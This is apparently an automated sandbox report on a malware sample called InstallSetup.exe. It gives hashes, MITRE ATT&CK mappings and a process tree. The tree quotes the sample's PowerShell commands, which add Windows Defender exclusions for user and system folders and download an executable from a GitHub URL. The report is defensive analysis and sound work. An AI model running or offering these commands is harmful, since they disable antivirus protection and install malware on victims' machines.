d9b33203556fafab59ac2a86ffc481da83dab9a29293639098cefd15fd686628

Resubmissions

14/03/2025, 13:03

250314-qacneavkv5 10

Analysis

max time kernel
143s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14/03/2025, 13:03

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General

Target

InstallSetup.exe
Size

383KB
MD5

18bc0a0e4aab55b86cd1f41476829918
SHA1

977bd945d4f4a763f36cbcc703029340327d4f40
SHA256

c5a145def78019e54b7f092ff967d25687b4955ec176ce53eab5916d954427be
SHA512

ca5206d805bfccfea6a8ed55911792d12df23fb185dadcb4d3d3a87943f1457d74045f4e611e2e73631c53b6bf10c4d6ef2e38e30686436ccead2fdf1bf72b68
SSDEEP

6144:yjIjZkWXdi1sWAQLYplIZlQ/WvuaentzFIkJLgJUQjyOxyAOzG+RaJs6GN1l:yjIjdiO8clZWeVF9JLgizc+ILk

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe
2620	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	2120	InstallSetup.exe

Executes dropped EXE 1 IoCs

pid	Process
2896	D6F0.tmp.exe

Loads dropped DLL 2 IoCs

pid	Process
2120	InstallSetup.exe
2740	Process not Found

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallSetup.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2652	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2120	InstallSetup.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2120	InstallSetup.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 2896	2120	InstallSetup.exe	32
PID 2120 wrote to memory of 2896	2120	InstallSetup.exe	32
PID 2120 wrote to memory of 2896	2120	InstallSetup.exe	32
PID 2120 wrote to memory of 2896	2120	InstallSetup.exe	32
PID 2896 wrote to memory of 2876	2896	D6F0.tmp.exe	34
PID 2896 wrote to memory of 2876	2896	D6F0.tmp.exe	34
PID 2896 wrote to memory of 2876	2896	D6F0.tmp.exe	34
PID 2876 wrote to memory of 2652	2876	cmd.exe	35
PID 2876 wrote to memory of 2652	2876	cmd.exe	35
PID 2876 wrote to memory of 2652	2876	cmd.exe	35
PID 2896 wrote to memory of 1748	2896	D6F0.tmp.exe	36
PID 2896 wrote to memory of 1748	2896	D6F0.tmp.exe	36
PID 2896 wrote to memory of 1748	2896	D6F0.tmp.exe	36
PID 1748 wrote to memory of 2620	1748	cmd.exe	37
PID 1748 wrote to memory of 2620	1748	cmd.exe	37
PID 1748 wrote to memory of 2620	1748	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\InstallSetup.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup.exe"
1⤵
- Downloads MZ/PE file
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Users\Admin\AppData\Local\Temp\D6F0.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\D6F0.tmp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\pubilnuf', 'C:\Users', 'C:\ProgramData'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\pubilnuf', 'C:\Users', 'C:\ProgramData'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\pubilnuf\downloaded_file.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\pubilnuf\downloaded_file.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c9e08b08af381b272ad50694147ce963

SHA1
30610483b2d14164c0ca318b520453fc0792a0eb

SHA256
91c0281debff0bf6e125a423c971f9903dae79a2bdc98aba5657c77f905f175f

SHA512
8e9b7957f7f1aa287b0b0f59678c025a33e3324587f9141d6844eab0dd5d799462c7a3e77224edc5849870088ca9a8244031e87a6f8937a56c3408de274065c8

Download Submit
\Users\Admin\AppData\Local\Temp\D6F0.tmp.exe

Filesize
314KB

MD5
c3f1f2f2c303a518b957c6daf9abe66f

SHA1
87e5aed6195fb9811ce40a006b8d757c3577a410

SHA256
9a2163b925e9ba9aa6e17b0e6c813c36f0dbc3f2b8c6e74d1005553aca99e22c

SHA512
651695405631daa70d79a45511795e244d86daa6b9982e561dc5eaa7db167307082d55b2d0b1a0650cbd250e01ff40ab97693b5a257c5d6757265ad1e2e2fccc

Download Submit
memory/2620-33-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2620-34-0x0000000002710000-0x0000000002718000-memory.dmp

Filesize
32KB

Download
memory/2652-26-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2652-27-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download